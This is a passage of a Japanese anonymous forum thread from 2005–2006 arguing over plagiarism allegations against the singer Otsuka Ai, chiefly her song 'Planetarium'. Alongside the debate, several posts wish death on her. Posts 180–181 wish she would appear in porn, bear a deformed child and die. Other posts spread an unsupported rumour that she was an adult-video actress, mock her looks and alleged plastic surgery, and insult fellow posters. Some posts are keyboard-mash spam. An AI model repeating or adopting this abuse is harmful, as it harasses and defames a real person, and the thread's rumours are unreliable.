107 :名も無き音楽論客:2005/12/30(金) 01:33:23 ID:fkn6wk3F
あのさぁ、パクリがいいか悪いかは別にして、
ビートルズでさえパクリを公言してるんだよ
もしビートルズが居なければ今の音楽なんて成り立ってないかもしれないんだよ
だからパクリを否定することはロックやアイドルポップスを否定することになるんだよ

108 :名も無き音楽論客:2005/12/30(金) 01:35:44 ID:e3WxSA0/
「プラネタリウム」のメロディが「素敵だね」のパクりではないか?とは、今まで騒がれてきた事ですが、歌詞の方でパクられた疑いのあるアーティストを見つけました。
それは、Plastic treeの「プラネタリウム」という曲です。
大塚愛ちゃんの歌詞で全体に流れているのは、君はこの星空のどこかにいて、逢えるように祈っているけど、祈っていたのがプラネタリウム=偽物の星空だったから逢えない、という物でしたよね?
Plastic treeの歌詞では、愛ちゃんのように具体的な思い出の提示はありませんが、星空を見上げて君との記憶を思い出して、夜空に手を伸ばして君を探すけれど、星空は偽物=プラネタリウムだから、きっと君に届かない、という内容です。

109 :名も無き音楽論客:2005/12/30(金) 01:39:37 ID:???
ビートルズやレンジはパクリだって潔く認めてるから許せる
大塚はあたかも自分のオリジナルみたいな顔して出してるから好きになれない

110 :107:2005/12/30(金) 02:53:58 ID:fkn6wk3F
>>109
うん そうゆう考えならわかる。
同じ理由でヒップホップやテクノのいわゆるサンプリングが許せるはず
つじつまが合ってる。いや別に個人の好き嫌いにつじつまなんて合ってる必要ないけどね

たださぁつじつまが合わない好き嫌いや感想レベルで社会正義を気取って悪を摘発するみたいな姿勢がむかつくんだよ
ただ嫌いなだけだろ?それを無理やり正義にするために表面上はパクリ批判してるんだろうがよ、1よ
潔くないよ

111 :名も無き音楽論客:2005/12/30(金) 12:31:14 ID:???
Plastic Tree/プラネタリウム

ボクの奥に鍵をかけた 痛みとかいろいろ閉じ込めた
夜空の上 鳴り止まない囁く声に耳を塞いで
見上げているボクの前で夜の粒子が星をみがく
何で僕が泣きたいのか やっとわかった

何もないボクはどこに行けばいいのかな?
ずっと乾かない涙がどんどんあふれた

嘘みたいな目覚めない星
手を伸ばして君だけ探すけれど
にせものだから きっと届かない

何もないボクはどこに行けばいいのかな?
ずっとかわかない涙がどんどんあふれた
あのね、思い出は痛いくらいきれいだから
鍵をかけていつまでもボクに閉じこめなきゃ―――――。

どんどん遠く
どんどん遠く

君がいなくなる
いなくなる


112 :名も無き音楽論客:2005/12/30(金) 23:35:23 ID:???
とりあえず、皆でやったほうがいいと思うんだけど……
一人でやるより

113 :名も無き音楽論客:2005/12/31(土) 00:08:34 ID:b8VI9mor
じゃあアンチでNHKに電話抗議するか!
05ー7006ー6066
どこかの掲示板でNHKの人間謝罪させたとか書いてた人がいた。
でも、結局は紅白出るんじゃん。

114 :ふじいあきら:2005/12/31(土) 09:46:07 ID:7OkmDS71
大塚愛は許してね。

115 :名も無き音楽論客:2005/12/31(土) 10:13:34 ID:???
>>114
うるせぇよオッサン

116 :名も無き音楽論客:2005/12/31(土) 10:17:02 ID:???
>>83
ホントにキモイな

117 :名も無き音楽論客:2005/12/31(土) 10:30:28 ID:???
ふ  じ  い  あ  き  ら  と  か  名  乗  る  ゴ  キ  ブ  リ  男  こ  れ  以  上  書  き  込  み  し  な  い  で  く  れ

118 :名も無き音楽論客:2006/01/01(日) 19:05:50 ID:???
ehasdfhahehaero



rlelr;e:




elre;:lr;er




relrelr:




r;er;ewr



elprllr


jlgfjljklsd



119 :名も無き音楽論客:2006/01/02(月) 15:41:16 ID:vetkc80J
サイトいってみたけど、キモくてww
愛ちんって・・・。画像掲示板とかまじキモし。


120 :名も無き音楽論客:2006/01/02(月) 17:02:15 ID:Dc/fRnyH
ついに歌っちゃたよ、「素敵だね」

121 :名も無き音楽論客:2006/01/02(月) 17:17:35 ID:???
てめえら>>107>>110読め

122 :負け犬:2006/01/02(月) 22:23:34 ID:6Kkbgo4P
大塚愛がとうさくすればとうさくするほど罪は重くなる。
あいつは悪魔だ。消えるべき

123 :名も無き音楽論客:2006/01/02(月) 22:28:38 ID:bpP6dO7b
ってか大塚愛とかレンジとかほかのアーティストでもそうなんだけど
なんかみんな片っ端から「盗作 盗作」って言ってるよね!!言ってることは分かってるんだが
中にはたまたま似てしまった曲もあるかもしれないよ?盗作ってのは自分から曲を盗んだりすることでしょ?
検証フラッシュそか見ても似てない曲とかあるし・・・。あれが全部盗作じゃないかもしれない!!ってか俺らがさわいでも
本人達がなんかしなきゃダメでしょ!!謝罪とか・・・捕まるのは本人達なんだし自覚してればいいんじゃない?責任とかももてれば・・・・
正直パクリとかどうでもよくなってきたよ!!逆に今の音楽はそういう音楽かもしれない!!

一部矛盾したかも・・・・スマソww


でもまだレンジとかは認めてるだけいいんじゃない?


124 :負け犬:2006/01/02(月) 22:36:09 ID:6Kkbgo4P
>>123みたいな奴がいるからダメなんだ
大塚は、盗んだ場所が多すぎるし、1曲や2曲ではない。
しかもバカすぎることに歌詞まで似てるところがある。スマイリーとか
繰り返すのも一緒だし、偶然にしてはできすぎてる
エイベの圧力で今はなんにもしてないみたいな感じになってるが。
大塚のとうさくのためにエイベの事務所まで訴えにいった奴がいるみたい
なんだが、その人たちは軽く流されて帰らされたらしい
絶対裏に何かがある。


125 :名も無き音楽論客:2006/01/02(月) 22:41:32 ID:bpP6dO7b
>>124 >>123だけど確かにそうかも・・・・
ってか大塚が盗作と認めなかったらアンチがギャースカ言う

盗作を認めたらファンがギャースカ言う

結果=大塚は歌手をやめるべき(パクッテルアーティストにも例えられる)

でもファンは大塚とかの盗作を認めたうえでこれからどうするか決めるべきじゃない??
やっぱり盗作を認めないと本当のファンとはいえない

126 :名も無き音楽論客:2006/01/03(火) 03:35:57 ID:BWZgm0aZ
ここで大塚愛馬鹿にしてる奴は自分がどれだけエライんだおたんこなす。

人責める前にてめえらが鏡で自分の顔見やがれ。

127 :名も無き音楽論客:2006/01/03(火) 03:42:19 ID:???
            ∩_
           〈〈〈 ヽ
          〈⊃  }
   ∩___∩  |   |
   | ノ      ヽ !   !
  /  ●   ● |  /
  |    ( _●_)  ミ/  こいつすげーアホ
 彡、   |∪|  /
/ __  ヽノ /
(___)   /

128 :名も無き音楽論客:2006/01/03(火) 03:48:03 ID:BWZgm0aZ
アホで〜す

129 :名も無き音楽論客:2006/01/03(火) 09:29:47 ID:???
馬鹿でーーーす。二人

130 :名も無き音楽論客:2006/01/03(火) 11:16:15 ID:???
合わせて

131 ::2006/01/03(火) 11:24:22 ID:64rQfyu3
鏡見てみろとか…誰も顔の事には触れていない。
むしろそー言うおまいがイタイよ

132 :名も無き音楽論客:2006/01/04(水) 00:49:12 ID:6EdJM+OZ
ここにもイタイおっさんが出現してるのか

133 :名も無き音楽論客:2006/01/04(水) 01:08:58 ID:v6/nxHsr
おっさんはさっさと寝てろ。

いくらなんでもパクリすぎだと思うよ。今回のプラネタリウムは。
たしかにこの音楽業界ではなにかと歌詞とかメロディーとかいろいろと似てしまうかもしれないよね。
でも、いくらなんでもPVまで普通しますか??
てか、全然プラネタリウムじゃないじゃんこの曲!!?みたいな。
完璧「花火」じゃん!!!歌詞がプラネタリウムじゃねーよ。
ただ星とか言ってるだけじゃん!
タイトルつけるセンスねーな大塚。
音楽業界なめてんじゃねーよ。エイベに守られているからって調子乗ってんじゃねー。





今年の夏頃ぐらいに大塚が消えることを願う

134 :名も無き音楽論客:2006/01/04(水) 08:40:21 ID:8B+R4MCn
大塚愛はパクりすぎ。
声や詩も(歌手の)aikoとカブっている部分がある。
作詞している本人が意識しないとあそこまで行かないと思うが、
大塚ファン(アホ野郎達)はどうお考えで?

135 :名も無き音楽論客:2006/01/04(水) 12:42:21 ID:CrVqZQxu
そりゃ「愛ちんがかわいいから良いの!」だろww

136 :名も無き音楽論客:2006/01/04(水) 14:22:49 ID:x5Gvg/dj
てゅーかそんなのほっとけばぃぃぢゃん。
ぶっちゃけ言って大塚愛がパクリしてるかどーかわかってなぃんでしょ??
それにこんなとこでパクリだなんだ言ったって本当のコトは結局わかんなぃんでしょ??
それに、どんだけアンタらが消えてほしぃって願ったって無理でしょ。
こんなトコに何書いたって世間には届かないワケだし。
声がカブってても芸能界はそれを認めたんだからさ。しょーがなぃぢゃん?
なんか文句ぁるでしょーからなんでも言ってよ。この掲示板には2度と来ない
から。なんでも言って?

137 :名も無き音楽論客:2006/01/04(水) 14:48:36 ID:???
>>136 オッサン

138 :名も無き音楽論客:2006/01/04(水) 15:06:01 ID:???
>>136
氏ね

139 :nin:2006/01/04(水) 15:38:33 ID:fI4atvN9
でも違法ではありませんね・・・・弁護士がいってましたよ!

140 :名も無き音楽論客:2006/01/04(水) 16:29:24 ID:???
hrrjweklrejkl[[[



erklrkerlr[



rjkerjweqkqrkl




klwerrkqweklwerkl;




erklrkweklrk




remkjwrjrjklejkl;


djkfjjjfjkadjkl



141 :nin:2006/01/04(水) 16:35:11 ID:fI4atvN9
大塚愛はあなたが死ねといわなきゃいけないような罪を犯しましたか?

法律上これは違法ではないと弁護士がいってますよ!

小学校でならった道徳覚えてますか?

142 :名も無き音楽論客:2006/01/04(水) 16:53:11 ID:???
>>141
弁護士ってなんて名前だよ。それと俺は道徳なんてどうでもいい教科No、1
だから習う必要なし。

143 :名も無き音楽論客:2006/01/04(水) 16:55:14 ID:???
おっさんキタコレwww今度はninって名前かwww


144 :名も無き音楽論客:2006/01/04(水) 16:56:20 ID:COEBSLOY
道徳とかいってマジでイラネー。

145 :名も無き音楽論客:2006/01/04(水) 18:19:13 ID:???
音楽一般板 大塚愛関連スレ
大塚愛とORANGERANGEの、、
http://music4.2ch.net/test/read.cgi/music/1127485756/l50
大塚愛の盗作を本気で許せない人達集まろう!
http://music4.2ch.net/test/read.cgi/music/1133446867/l50
大塚愛のプラネタリウムって盗作じゃないじゃん
http://music4.2ch.net/test/read.cgi/music/1134566735/l50
【盗用】大塚の盗作はガセ【誤解】
http://music4.2ch.net/test/read.cgi/music/1127485756/l50
大塚愛は悪いことしてねえぞ!!
http://music4.2ch.net/test/read.cgi/music/1134480283/l50
大塚愛は本格的に活動停止すべき!3糞目
http://music4.2ch.net/test/read.cgi/music/1135509165/l50
【大塚愛】あーたしにくだんご〜♪
http://music4.2ch.net/test/read.cgi/music/1116568785/l50
大塚愛
http://music4.2ch.net/test/read.cgi/music/1111371279/l50
◆大塚愛の【ネコに風船】を聞いて思ったこと◆
http://music4.2ch.net/test/read.cgi/music/1122446535/l50
大塚愛ファン
http://music4.2ch.net/test/read.cgi/music/1134395798/l50
大塚愛をどう思う??
http://music4.2ch.net/test/read.cgi/music/1128428939/l50

お前らたいがいにしとけな。邦楽板でやれ。

146 :森のくま:2006/01/06(金) 06:49:13 ID:DDLpNoAj
盗作=人としてはやってはならんと・・・

147 :名も無き音楽論客:2006/01/06(金) 18:12:10 ID:???
先輩の浜崎から順番にさらしてください。

148 :名も無き音楽論客:2006/01/06(金) 19:31:38 ID:???
いやいや、大先輩のB'zさんから

149 :吉光:2006/01/06(金) 20:45:26 ID:???
大塚愛氏ね

150 :名も無き音楽論客:2006/01/06(金) 21:12:55 ID:LSBq128t
http://hp17.0zero.jp/313/micoroco/

151 :名も無き音楽論客:2006/01/06(金) 23:31:57 ID:wX0RFm7u
大塚愛≦めざましの大塚さ
皆そうだろ。

152 :名も無き音楽論客:2006/01/07(土) 14:28:19 ID:???
【早くも】大塚愛の新曲はまたパクり?!【盗作】

http://news18.2ch.net/test/read.cgi/news7/1132711537

153 :名も無き音楽論客:2006/01/07(土) 15:05:22 ID:K35NhrCv
前CDTVで彼女にしたい歌手一位だったよ。盗塚が世間に出てくる前はあゆ。で、あゆは二位。あんなブス塚が一位とか許せない。まあ今のランクはどうなるか知らないが

154 :名も無き音楽論客:2006/01/07(土) 15:46:01 ID:???
けっこう良い人だったから、恋してあげても良かった
けっこう良い人だったから、好きになっても良かった

けどね!!

155 :名も無き音楽論客:2006/01/07(土) 15:47:28 ID:???
>>153
そんなランキングで上位を取ることが名誉だとも思えないが。

156 :名も無き音楽論客:2006/01/07(土) 17:00:22 ID:b6op01La
大塚は彼女でなくてセフレだろ

157 :名も無き音楽論客:2006/01/07(土) 17:38:41 ID:???
盗作ぐらいでギャーギャー騒ぐな厨房共
おまいらの好きな歌手だってやっている事だろ

158 :名も無き音楽論客:2006/01/07(土) 21:19:23 ID:cx/ZhlLM
スレ違いですが宣伝させてください

みなさんは、のまネコ問題を覚えていますか?
エイベックスがモナーをインスパイアして商品展開しようとした問題です。
各メディア、新聞やTVなどは解決したような報道をしました。
しかし、まだ何も解決していないのです。まだ戦いは続いています。
この問題に興味がある方、解決に向けて力を貸してくれる方は
このスレに来て下さい。みなさんのお力をもう一度貸してください。

【田代砲禁止】のまネコ問題【未解決】
http://ex14.2ch.net/test/read.cgi/news4vip/1136561649/l50


159 :名も無き音楽論客:2006/01/07(土) 22:45:02 ID:T997Rwp0
許せないならエイベックスに自分で何か話してくれば??ここで氏ねとか言っても氏んでくれないしさ(^-^)

160 :名も無き音楽論客:2006/01/08(日) 00:24:12 ID:Umuw+1XV
156 確かに

161 :名も無き音楽論客:2006/01/08(日) 01:20:51 ID:h9CG1vjo
>>153
週間ポスト?か何かの雑誌の、セックスしたい女性歌手でも一位だったお。ワロスw

162 ::2006/01/08(日) 01:59:27 ID:Umuw+1XV
えーマジィ ゲロゲロ(´Д`) ※

163 :名も無き音楽論客:2006/01/08(日) 07:04:56 ID:???
>>159
オッサンいつも治安維持ご苦労様です

164 :名も無き音楽論客:2006/01/08(日) 13:02:32 ID:b2QRqCrL
大塚をホントに訴えたいならイヌの見てみ。ファンのくせに大塚の訴える方法細かく教えてくれてるよ(笑)
http://g3.tarekomi.jp/res_list.php?c=21&tid=1008083#inner_down

165 :名も無き音楽論客:2006/01/09(月) 23:03:01 ID:Dk1hr3e8
漏れはおっさんに会いたかったぞ^^また楽しませてくれYO^^

166 :名も無き音楽論客:2006/01/10(火) 10:30:22 ID:???
オッサン来てくれ

167 :名も無き音楽論客:2006/01/11(水) 01:03:45 ID:QYjhU7cI
大塚愛盗作疑惑徹底追求2
http://music5.2ch.net/test/read.cgi/mjsaloon/1130660450/

おっさん消えたと思ったらこっちでまた自演してるよ

168 :名も無き音楽論客:2006/01/11(水) 03:38:16 ID:6X/Bp/v+
要するに盗塚は自作詞作曲してるとか言っていてパクって印税をがっぽりもらってるって事だ

169 :美鈴:2006/01/12(木) 20:58:08 ID:IB7/bokx
音楽は聞いてみて楽しければそれでぃぃんじゃない?

170 :名も無き音楽論客:2006/01/12(木) 21:24:33 ID:7lpuEp5Y
おっさん名前かえすぎ。いい加減うぜぇ

171 :名も無き音楽論客:2006/01/12(木) 23:52:11 ID:6arxifPw
大塚って昔AV女優だったて本当?

172 :名も無き音楽論客:2006/01/13(金) 00:08:07 ID:MLr9ZibA
本当だよ!実際エロいし。歌にもそれが出てる

173 :名も無き音楽論客:2006/01/13(金) 17:13:09 ID:???
新曲すごい聴いた事ある曲っぽいんだけど、
なんだっけ〜。まあどうでもいいや。

174 :名も無き音楽論客:2006/01/14(土) 17:20:47 ID:???
fdlsgksdfl;;gl





tkwerlkel;




tklrkltlwe





trtwrewtee





tyyttrtytr





175 :名も無き音楽論客:2006/01/14(土) 20:56:31 ID:X7jI7OLQ
大塚愛の曲で、学校の行事とかで使ったりして『思い出の曲』になった
曲もァルけど、盗作ってゅぅのがチョット悲しぃ・・・(´-`)

176 :☆葵☆:2006/01/14(土) 21:18:58 ID:HrWu+APc
大塚愛って何の曲、盗作したんデスかっ!!?

177 :名も無き音楽論客:2006/01/14(土) 23:15:09 ID:fMxKgsZ2
全部

178 :美鈴:2006/01/14(土) 23:47:04 ID:zjgAUJXY
おっさんて誰なの?

179 :名も無き音楽論客:2006/01/15(日) 01:02:52 ID:u09jDS8Q
大  塚  愛  は  早  く  市  ね  。  マ  ジ  う  ざ  い  。


                      

                          人間失格です。 


180 :ブス死寝:2006/01/15(日) 01:09:37 ID:u09jDS8Q
大  塚  愛  は  早  く  死  寝  。  マ  ジ  う  ざ  い  。
人間失格です。人類のハジです。消えてください。AVに出て妊娠して奇形児産んで死になささい。 

181 :ブス死寝:2006/01/15(日) 01:11:50 ID:u09jDS8Q
大  塚  愛  は  早  く  死  寝  。  マ  ジ  う  ざ  い  。
人間失格です。人類のハジです。消えてください。AVに出て妊娠して奇形児産んで死になささい。 

182 :名も無き音楽論客:2006/01/15(日) 14:32:57 ID:???
髪型は暗きのインスパイア。

183 :名も無き音楽論客:2006/01/16(月) 17:48:05 ID:???
>>176>>178
またオッサンか。

184 :名も無き音楽論客:2006/01/16(月) 18:17:14 ID:pOrXft4t
http://HG,HJ,LHG

185 :美鈴:2006/01/16(月) 19:54:04 ID:Y3eJ+A/e
だぁーかぁーらぁー(`Д´メ)y
違うってば!!!!
オッサンて誰?みたいな。。本当のオッサン?それともHN?

186 :名も無き音楽論客:2006/01/16(月) 20:57:44 ID:???
>>185 オッサン

187 :ふじいあきら:2006/01/18(水) 18:17:04 ID:ejHPt/cL
>>185
おっさんじゃありません。
ふじいあきらと大塚愛
ファンです!
>>186
カス!!

188 :名も無き音楽論客:2006/01/18(水) 19:06:11 ID:???
>>187 お前音楽サロン邦楽板でも自演してたな。キモいよ。

189 :名も無き音楽論客:2006/01/19(木) 14:31:00 ID:???
jdkksdjaldasfj




dffasfasfa




fdasffasf



eqrrererqew



yutuuyrut



ptk


jdfajlsdadj





190 :名も無き音楽論客:2006/01/19(木) 20:50:38 ID:gRNUvfYt
うたばんでカニクリームコロッケって出てきたけど今度はこれをパクって歌のタイトルにしそう

191 :名も無き音楽論客:2006/01/19(木) 20:56:04 ID:P8NJgeH7
つーかこの前と顔ちげーし

192 :名も無き音楽論客:2006/01/19(木) 21:23:26 ID:gRNUvfYt
やっぱ整形だし顔歪んできてるんじゃない?

193 :名も無き音楽論客:2006/01/19(木) 21:40:16 ID:oV6zXWot
誰の何て曲を盗作したんだ?

194 :名も無き音楽論客:2006/01/19(木) 22:39:43 ID:gRNUvfYt
最近有名なのがプラネタリウムが誰かの素敵だね。っていう曲を盗作。金魚花火のイントロが戦場のメリークリスマスの盗作。

195 :名も無き音楽論客:2006/01/20(金) 05:32:16 ID:0iOciSRf
そんなんで盗作とかぬかすな。笑 世の中みてみろ。おまえの好きなアーティストも盗作してるんだから

196 :名も無き音楽論客:2006/01/20(金) 13:21:01 ID:QysV8T9I
大塚ファンがキモイ

197 :名も無き音楽論客:2006/01/20(金) 16:05:35 ID:???
>>195 オッサン

198 :名も無き音楽論客:2006/01/20(金) 16:46:29 ID:???
fdlsgksdfl;;gl





tkwerlkel;




tklrkltlwe





trtwrewtee





tyyttrtytr






199 :名も無き音楽論客:2006/01/21(土) 12:41:59 ID:???
おっさんわろすわろす

200 :名も無き音楽論客:2006/01/21(土) 21:18:50 ID:Z036u1+V
愛ちんファンゎオッサンだけぢゃなぃし!!10代にゎマヂ人気者だょーん♪♪(*^ー^)ノ

201 :G:2006/01/21(土) 21:28:35 ID:OpVWshq7
しかも女の子。ライブも女の子だらけ

202 :名も無き音楽論客:2006/01/21(土) 21:29:53 ID:MnpH1fC/
>>171-172

情報に振り回されてるアフォが約2名。

大塚に若干似たAV女優はいるがな。


203 :名も無き音楽論客:2006/01/21(土) 21:31:12 ID:MnpH1fC/
っていうか自演か

204 :名も無き音楽論客:2006/01/21(土) 22:02:07 ID:pGHJFcN3
ノアだけはガチ

205 :名も無き音楽論客:2006/01/21(土) 22:05:50 ID:Z036u1+V
愛ちんのファンゎマヂかゎぃぃよぉ('-^*)/今度ライブ来てみたら!?!?

206 :名も無き音楽論客:2006/01/21(土) 22:10:03 ID:???
>>200
10代でも、お前のまわりにファン多いだけなんだろ。
大塚狂気味だったやつも、FFぱくられてやっと目がさめたみたいだし。
自分のまわり大塚嫌われてるから、10代に人気があるって実感ないんだけど?

207 :名も無き音楽論客:2006/01/21(土) 22:12:53 ID:???
>>200-201,>>205
またお前かよ

208 :名も無き音楽論客:2006/01/21(土) 22:22:51 ID:5rSv7R/E
てかFFのあれぱくるなんてマジFFオタに喧嘩うってるとしかおもえん

209 :G:2006/01/21(土) 22:32:04 ID:OpVWshq7
てゆうかパクってるかパクってないかなんてわからないし

210 :名も無き音楽論客:2006/01/21(土) 23:05:09 ID:GuQRd2oR
大塚愛は好きでも嫌いでも無いけど、プラネタリウムが素敵だねのパクりって言うの見て、RIKKIさんに逆ギレする大塚ファンが嫌いだ

211 :名も無き音楽論客:2006/01/21(土) 23:29:41 ID:Z036u1+V
絶対嫌ぃな人ょりゎ好き人が多ぃし!!それに中学生とかゎ愛ちんとかそぉゅぅ人に興味がぁるんだし!!ぉじさんとかぉばさんにゎわからんだろぅけどぉ〜(*^皿^*)

212 :名も無き音楽論客:2006/01/21(土) 23:41:37 ID:Z036u1+V
今の中学生とかゎ愛ちんみたぃな歌手に興味ぁるんだし!!!!まぁ、ォッサンにゎわかんなぃと思ぅけどぉ〜(*^皿^*)ヮラヮラ

213 :名も無き音楽論客:2006/01/22(日) 00:20:06 ID:79U2dfXB
今時J-POPなんか聴くの小学生だけかと思ってた。あんなゲロ以下の音楽聴いてるやつの気が知れない。

214 :名も無き音楽論客:2006/01/22(日) 00:20:48 ID:/llwJT3F
今中学生とかゎ愛ちんみたぃな歌手に興味ぁるんだし!!ォッサンとかにゎわかんなぃと思ぅけどぉ〜〜〜ヮラヮラ

215 :名も無き音楽論客:2006/01/22(日) 00:23:36 ID:???
中学生が聴く音楽なんて糞だから知らねぇよ
ツタヤのヒットチャート乞食みてえに漁って市ね。

216 :名も無き音楽論客:2006/01/22(日) 00:34:14 ID:???
>>210です
>>211…一応、中学生なんだけどね私。それに私は大塚愛の事じゃ無くて、ファンの事言ったんだよ。






もう中学生なんて嫌だ…

217 :名も無き音楽論客:2006/01/22(日) 02:01:56 ID:wR8ABqgl
>>216
何回も何回も同じこと言わなくてもいいから早く寝なさい

218 :美鈴:2006/01/25(水) 20:20:27 ID:snIRQ7rw
実はアタシも1なんだケド(汗
大塚愛は前の顔のが好きだったなぁ(’ゝ’)


219 :名も無き音楽論客:2006/01/25(水) 20:33:23 ID:???
>>218 オッさん久しぶり!!!!!!!!!

220 :名も無き音楽論客:2006/01/25(水) 22:42:17 ID:???
おっさん今度は美鈴ってコテハンかwww

221 :名も無き音楽論客:2006/01/25(水) 22:44:11 ID:???
211とかここで盗塚を好きだとかいう奴、なんでここにくるんだ?
スレの名前も盗塚が許せないやつって書いてるのに。
日本語が読めないのか?

222 :名も無き音楽論客:2006/01/26(木) 01:28:23 ID:???
大塚愛ってヲタなんだ?FFとかKOTOKOとか・・・
KOTOKO好きだから許せん。

223 :名も無き音楽論客:2006/01/27(金) 23:28:22 ID:ldG4xP42
というか、大塚ファンが本気で逆ギレしてくるのが、
まず、『おまえら本当に大塚ファン?』って言いたくなるようなコメントぞろいで滅。
この問題は、誰が盗作したとかじゃない。
他の似たようなスレ見てここが一番マシそうだから書くけど、盗作ってえらい問題なの知ってるのか?
もっと自分で具体的に考えてみろよ。盗作された方は本当に嫌なもんなんだ。
まあ、ここの大塚ファンにとって大塚愛は神だから考えにくいかな?

大塚愛は前から盗作疑惑で抜かれたけど、『プラネタリウム』は酷すぎる。
結局はFFファンかよ、って言われるかもしれないが、
この曲はゲームの感動を壊し、無かったものにしつつある。
たった5音だけ、など正当化する声があるが、歌詞も音もまったく一緒って確率的に低くないか?
タイトルとかならまだわかる。世の中同タイトルたくさんある。桜とか。
そして、PVのコマ送りの画像見たらほとんど同じ。
一説では某植松氏もこのPVの製作にかかわったとか(大塚ファンが)言っているが、
だったら、何故彼は今の今まで何も言わないのだろうか。ちょっと怪しい。(PVの詳しい情報頼む)
わざわざ盗作疑惑の曲を彼の所に持っていったのか?怪しい。

長スレ失礼。でも、この問題、盗作についてはっきりさせたいのです。
スレのタイトルどおり、許せないと思うところがあるのです。本当に長スレ失礼。


それと、中学生、ただ走っちゃダメだ。周りを見ろ。
君が大塚に何か言えば、変わることもありえるんだ。

224 :名も無き音楽論客:2006/01/28(土) 00:12:59 ID:BeBOd3DZ
2chで女子で小文字とか使うやつウザイ!!
























漏れも当然ウザイww


ってかおっさん久しぶり!!ロリコンマン!!また楽しませてもらうよ!!

225 :おおお:2006/01/28(土) 00:18:48 ID:kVoM7nSH
かわいいから許せる・

226 :名も無き音楽論客:2006/01/28(土) 01:54:29 ID:BeBOd3DZ
大塚愛ってさくらんぼ歌ってるくせにさくらんぼが食べれないらしい!!

さんまの番組で言ってた!!今

227 :名も無き音楽論客:2006/01/28(土) 07:10:58 ID:???
>>225 オッさん押忍!!!!!

228 :名も無き音楽論客:2006/01/28(土) 12:44:55 ID:D0Lh5oht
最近の中学生は大塚に興味があるってwwww
お前の中学どんだけ田舎にあるの?wwwww

229 :名も無き音楽論客:2006/01/29(日) 11:44:18 ID:3Dh7QYp8
大塚愛は誰の曲を盗作したの?


230 :名も無き音楽論客:2006/01/29(日) 14:57:43 ID:gmQxWLO3
大塚愛盗作しすぎ
氏んでほしい

231 :名も無き音楽論客:2006/01/29(日) 15:03:46 ID:wK7SL9hY
大塚ファンってほとんどおっさんぐらいしかいないよね。

ってか大塚ファンはひどすぎるが特におっさんはひどすぎだ!!

っで盗作してもいいじゃん!!って考えてるやつ!!お前ら盗作=犯罪ってわかんないの??

ためしにお前ら盗作してみ?絶対捕まるから!!それを大塚は平気でやってるってこと!!

それともじ自分が盗作されたらどんな気分になるか考えてほしい!!

長文失礼!!

232 :名も無き音楽論客:2006/01/29(日) 15:24:46 ID:+Igo2vAv
「素敵だね」聞いてみたけど
全然違うじゃん

ばかみてー

似てるから盗作と騒いでいたら

曲は作れないよ

演歌は、歌詞もフレーズもほとんど同じというか定番だよ。

ラップなんてどれも同じじゃん





233 :名も無き音楽論客:2006/01/29(日) 16:08:31 ID:/CrjaPtu
>ラップなんてどれも同じじゃん
はぁ?

234 :名も無き音楽論客:2006/01/29(日) 16:17:24 ID:uu03QCo4
ぱくりの定義 俺的に
1:自分で作詞作曲している
2:知名度のある人が知名度のないところからぱくる
3:似ている曲が5つ以上ある
4:直接的または間接的にパクりを認めた
5:作詞作曲のクレジットを変えた
 3つ以上で盗作決定 盗塚は1.2.3が当てはまる 
 オレ○ジレン○はすべてだが、、

235 :ホワイトヘヤーデビル:2006/01/29(日) 16:25:22 ID:aEfYqAO+
     /'".:=≡ミ_≧_尨彡三:ヽ、
    //.:;:彡:f'"´‐------ ``'r=:l
    /〃彡_彡′,.=、 ̄ ̄ ,.=、 |ミ:〉
   'y=、、:f´===tr==、.___,. ==、._ゞ{
   {´yヘl'′   |   /⌒l′  |`Y}   レンジなんてくそだ!
   ゙、ゝ)       `''''ツ_  _;`ー‐'゙:::::l{
.    ヽ.__     ,ィnmmm、   .:::|!
  ,.ィ'´ト.´     ´`"`"`゙″ .::::;'
イ´::ノ|::::l \         "'   :::/
::::::::::::|:::::l   ヽ、      ..::  .:::/.、
:::::: ::: |:::::ヽ    ヽ、.......::::/..:::/!\\




236 :名も無き音楽論客:2006/01/29(日) 16:27:54 ID:mNVSu/TY
>>223
プラネタリウムは、歌詞と曲全体は、絶対似てない!!!!!
ちゃんと比べたのか?


237 :名も無き音楽論客:2006/01/29(日) 17:49:51 ID:???
>>236 オッさん

238 :美鈴:2006/01/29(日) 22:10:56 ID:lJrAwfPb
どこの中学校でも大塚愛は人気だょ?
まぁ、中には「ぶりっ子しすぎやんなぁー、はっきしゅぅてキモくない?」
とかゆってる人がいるのは事実だけど。
ぁとオッサンってゅぅ人、ちゃあんとアタシが君じゃないってコト発言してよね(≧д≦)っ

239 :アーロン:2006/01/29(日) 22:24:15 ID:W7Sa1Skc
大塚愛&レンジ最悪!!
大塚愛は歌聴きゃ分かるしレンジはロコローションで紅白出たとき重大なミスを犯した

240 :美鈴:2006/01/29(日) 23:49:28 ID:lJrAwfPb
アーロンさん、一体レンジはどんな重大ミスを!!?

241 :名も無き音楽論客:2006/01/30(月) 00:36:45 ID:rhbgDK2o
>>236
おっさんにその言葉そのまま返す。
歌詞にてるから。だから問題になってるの気づかん?
『絶対似てない』って、微妙に盗作肯定してるのも気づけ。

242 :アーロン:2006/01/30(月) 02:21:20 ID:0e+NH5oh
美鈴さん>シングルでは作詞作曲レンジのはずなのに紅白の時は「ロコモーション」というレンジがパクったと言われてる歌を作った人が確か作曲になっていたはずです。
それにロコローション評判あまり良くないみたいですよ。
歌詞がヤバイじゃないですか。聞いてるのは大人だけじゃないですから・・・

243 :名も無き音楽論客:2006/01/30(月) 19:09:52 ID:bIRyE+0i
大塚愛ってきもくね??
なんかパクリ過ぎだし

244 :アーロン:2006/01/30(月) 19:32:26 ID:bibiJLnC
大塚愛もそうですがエイベックスが悪いですよ!!

245 :名も無き音楽論客:2006/01/30(月) 19:52:26 ID:bIRyE+0i
エイベックス??

246 :美鈴:2006/01/30(月) 22:46:17 ID:rsK2I6WC
アーロンさん>へぇーそうなんだぁ(’o’)アタシはロコローション大好きだけどなぁ♪
学校でもみんな普通に歌詞歌ってたしwwwまぁ小6の時だったから、ぃぃと思っちゃう(@v@)
それにエイベックスはパクリ行為を同意でゃってるとしか(^^;

247 :名も無き音楽論客:2006/01/30(月) 22:46:42 ID:Rwph8q97
こんなちんけな掲示板で影口たたいて見てると哀れだな。
人を盗作だの整形だのキモイとか死ねとかこんな低脳な発言なのか!?
大塚愛のアンチは。
あくまで疑惑だろ!?どうせ叩くなら人気の歌手がいいのか?アンチは。

248 :アンチ:2006/01/30(月) 23:43:58 ID:E2YUi7Nd
大塚愛?人気あんの?


249 :未来のイラストレーター(何で!!?:2006/01/30(月) 23:47:25 ID:rsK2I6WC
アンチなんてそんな大胆なHN!!?

250 :名も無き音楽論客:2006/01/30(月) 23:54:43 ID:6ykFGvx6
>>247おっさん久しぶり

